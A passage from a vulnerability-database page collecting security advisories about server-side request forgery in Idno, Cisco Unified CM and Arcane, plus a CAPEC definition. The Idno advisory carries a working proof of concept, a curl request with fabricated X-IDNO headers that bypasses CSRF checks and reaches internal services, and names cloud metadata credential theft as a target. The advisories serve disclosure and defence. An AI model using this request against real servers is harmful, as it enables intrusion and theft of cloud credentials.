$this-\u003edeniedContent();\n    }\n}\n```\n`Actions::validateToken()` (Actions.php:23) short-circuits entirely when `isAPIRequest()` returns true:\n\n```php\npublic static function validateToken($action = \u0027\u0027, $haltExecutionOnBadRequest = true)\n{\n    if (Idno::site()-\u003esession()-\u003eisAPIRequest()) {\n        return true;\n    }\n    return parent::validateToken($action, $haltExecutionOnBadRequest);\n}\n```\n`isAPIRequest()` reads the `is_api_request` flag from the session:\n```php\nfunction isAPIRequest()\n{\n    if (!empty($_SESSION[\u0027is_api_request\u0027])) {\n        return true;\n    }\n    return false;\n}\n```\nThe flag is set in `Session::tryAuthUser()` (Session.php:488), which runs early in the request lifecycle. The critical defect is here:\n```php\n$apiUsername  = $_SERVER[\u0027HTTP_X_IDNO_USERNAME\u0027]  ?? $_SERVER[\u0027HTTP_X_KNOWN_USERNAME\u0027]  ?? null;\n$apiSignature = $_SERVER[\u0027HTTP_X_IDNO_SIGNATURE\u0027] ?? $_SERVER[\u0027HTTP_X_KNOWN_SIGNATURE\u0027] ?? null;\nif (!$return \u0026\u0026 !empty($apiUsername) \u0026\u0026 !empty($apiSignature)) {\n    $this-\u003esetIsAPIRequest(true);   // \u2190 flag set here, before any credential check\n    $user = \\Idno\\Entities\\User::getByHandle($apiUsername);\n    if (!empty($user)) {\n        $compare_hmac = base64_encode(hash_hmac(\u0027sha256\u0027, $_SERVER[\u0027REQUEST_URI\u0027], $key, true));\n        if ($hmac == $compare_hmac) {       // \u2190 HMAC verified here, too late\n            $return = $this-\u003erefreshSessionUser($user);\n        }\n    }\n}\n```\n`setIsAPIRequest(true)` is called unconditionally as soon as both `X-IDNO-USERNAME` and `X-IDNO-SIGNATURE` headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant \u2014 by the time `tokenGatekeeper()` calls `validateToken()`, the API flag is already set and the token check returns true immediately.  \n\nAn attacker supplying any non-empty values for these two headers \u2014 real or fabricated \u2014 bypasses CSRF protection entirely.\n\n### Step 4 \u2014 The unfurl fetch\nWith both gatekeepers bypassed, execution reaches `UnfurledUrl::unfurl()` (UnfurledUrl.php:53):\n```php\npublic function unfurl($url)\n{\n    $url = trim($url);\n    if (!filter_var($url, FILTER_VALIDATE_URL)) {\n        return false;\n    }\n    $contents = \\Idno\\Core\\Webservice::file_get_contents($url);\n    ...\n    $this-\u003edata = $unfurled;\n    $this-\u003esource_url = $url;\n    return true;\n}\n```\n`FILTER_VALIDATE_URL` accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges.\nThe fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.\n\n## Proof of Concept\nStep 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.\n```\npython -m http.server --bind 127.0.0.1 9001\nServing HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...\n```\n\nStep 2: Verify that you cannot reach this server from a different system\n```\ncurl http://rpi:9001\ncurl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn\u0027t connect to server\n```\nStep 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.\n```sh\ncurl -s \"http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html\" \\\n    -H \"X-Requested-With: XMLHttpRequest\" \\\n    -H \"X-IDNO-USERNAME: x\" \\\n    -H \"X-IDNO-SIGNATURE: x\"\n{\n    \"title\": \"Page Title\",\n    \"mf2\": {\n        \"items\": [],\n        \"rels\": [],\n        \"rel-urls\": []\n    },\n    \"id\": null,\n    \"rendered\": \"\u003cdiv class=\\\"row unfurled-url\\\" id=\\\"unfurled-url-\\\" data-url=\\\"http:\\/\\/localhost:9001\\/test.html\\\"\u003e\\n    \u003cdiv class=\\\"basics\\\"\u003e\\n                    \\n            \u003cdiv class=\\\"text\\\"\u003e\\n                \u003ch3\u003e\u003ca href=\\\"http:\\/\\/localhost:9001\\/test.html\\\" target=\\\"_blank\\\"\u003ePage Title\u003c\\/a\u003e\u003c\\/h3\u003e\\n                \\n                \u003c!--\u003cdiv class=\\\"byline\\\"\u003e\u003ca href=\\\"http:\\/\\/localhost:9001\\/test.html\\\"\u003elocalhost\u003c\\/a\u003e\u003c\\/div\u003e--\u003e\\n            \u003c\\/div\u003e\\n    \u003c\\/div\u003e\\n    \\n    \u003c\\/div\u003e\"\n}\n```\n\n\nhttps://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c\n\n\n\n## Impact\nAny unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:\n* Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM\ncredentials, which can be used to gain full access to the associated cloud account. On GCP and Azure\nequivalent endpoints expose OAuth tokens and subscription details.\n\n* Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.\n\n* Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno\u0027s own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.\n\n* Interaction with internal services\nServices such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.\n\n\n## Remediation\nMove `setIsAPIRequest(true)` to after successful HMAC verification:\n```php\nif ($hmac == $compare_hmac) {\n    $this-\u003esetIsAPIRequest(true);   // only set after credentials are verified\n    $return = $this-\u003erefreshSessionUser($user);\n}\n```\n\nDefence in depth \u2014 block private address ranges in unfurl():\nThe unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:\n```php\n$host = parse_url($url, PHP_URL_HOST);\nif (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    // allowed\n} else {\n    return false; // block private/reserved ranges\n}\n```\n\nNote: An attempt was made to email the address provided in the [security page](security@idno.co) but the address does not exist.\n\n```\nYour message wasn\u0027t delivered to security@idno.co because the address couldn\u0027t be found, or is unable to receive mail.\n```",
  "id": "GHSA-fcrh-fqxh-6fx6",
  "modified": "2026-03-06T15:16:04Z",
  "published": "2026-03-02T21:24:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/security/advisories/GHSA-fcrh-fqxh-6fx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28508"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/idno/idno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/releases/tag/1.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Idno Vulnerable to Unauthenticated SSRF via URL Unfurl Endpoint"
}

GHSA-FCV7-PCHJ-75C2

Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-25 21:31
VLAI
Details

A vulnerability in Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device.

This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root.

Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root.

Note: To exploit this vulnerability, the WebDialer service must be enabled. WebDialer is disabled by default.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device.\n\n This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root.\n\n Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root.\n\n Note: To exploit this vulnerability, the WebDialer service must be enabled. WebDialer is disabled by default.",
  "id": "GHSA-fcv7-pchj-75c2",
  "modified": "2026-06-25T21:31:22Z",
  "published": "2026-06-03T18:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20230"
    },
    {
      "type": "WEB",
      "url": "https://denizhalil.com/2026/06/12/cve-2026-20230-cisco-unified-cm-ssrf"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20230"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FF24-4PRJ-GPMJ

Vulnerability from github – Published: 2026-04-10 20:59 – Updated: 2026-07-21 14:02
VLAI
Summary
Arcane has Unauthenticated SSRF with Conditional Response Reflection in Template Fetch Endpoint
Details

Summary

The /api/templates/fetch endpoint accepts a caller-supplied url parameter and performs a server-side HTTP GET request to that URL without authentication and without URL scheme or host validation. The server's response is returned directly to the caller. type. This constitutes an unauthenticated SSRF vulnerability affecting any publicly reachable Arcane instance.

Details

  • No allowlist or denylist of destination hosts/CIDRs
  • No requirement for the caller to be authenticated

Response handling produces four distinct outcomes observable by the caller: - Valid JSON targets return a fully reflected response body if the returned fields fit the expected internal struct - Non-JSON HTTP 200 responses produce an error leaking the first byte of the response ("Invalid JSON response: invalid character '<'...") - Non-200 responses leak the HTTP status code - TCP-level failures distinguish between closed ports ("connection refused") and filtered ones ("i/o timeout")

PoC

Send an unauthenticated GET request to /api/templates/fetch, passing the target URL as the url query parameter.

image

Impact

  • Unauthenticated port scanning of internal networks
  • Access to internal HTTP services not exposed to the public internet (service discovery endpoints, internal dashboards, Kubernetes API)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getarcaneapp/arcane/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:59:27Z",
    "nvd_published_at": "2026-04-10T21:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe /api/templates/fetch endpoint accepts a caller-supplied url parameter and performs a server-side HTTP GET request to that URL without authentication and without URL scheme or host validation. The server\u0027s response is returned directly to the caller. type. This constitutes an unauthenticated SSRF vulnerability affecting any publicly reachable Arcane instance.\n\n### Details\n- No allowlist or denylist of destination hosts/CIDRs\n- No requirement for the caller to be authenticated\n\nResponse handling produces four distinct outcomes observable by the caller: \n- Valid JSON targets return a fully reflected response body if the returned fields fit the expected internal struct\n- Non-JSON HTTP 200 responses produce an error leaking the first byte of the response (`\"Invalid JSON response: invalid character \u0027\u003c\u0027...\"`)\n- Non-200 responses leak the HTTP status code\n- TCP-level failures distinguish between closed ports (`\"connection refused\"`) and filtered ones (`\"i/o timeout\"`)\n\n### PoC\nSend an unauthenticated GET request to `/api/templates/fetch`, passing the target URL as the `url` query parameter.\n\n\u003cimg width=\"1041\" height=\"375\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9fd475e-90b0-4dec-95e1-0af6263f5bb5\" /\u003e\n\n### Impact\n- Unauthenticated port scanning of internal networks\n- Access to internal HTTP services not exposed to the public internet (service discovery endpoints, internal dashboards, Kubernetes API)",
  "id": "GHSA-ff24-4prj-gpmj",
  "modified": "2026-07-21T14:02:57Z",
  "published": "2026-04-10T20:59:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40242"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getarcaneapp/arcane"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getarcaneapp/arcane/releases/tag/v1.17.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arcane has Unauthenticated SSRF with Conditional Response Reflection in Template Fetch Endpoint"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.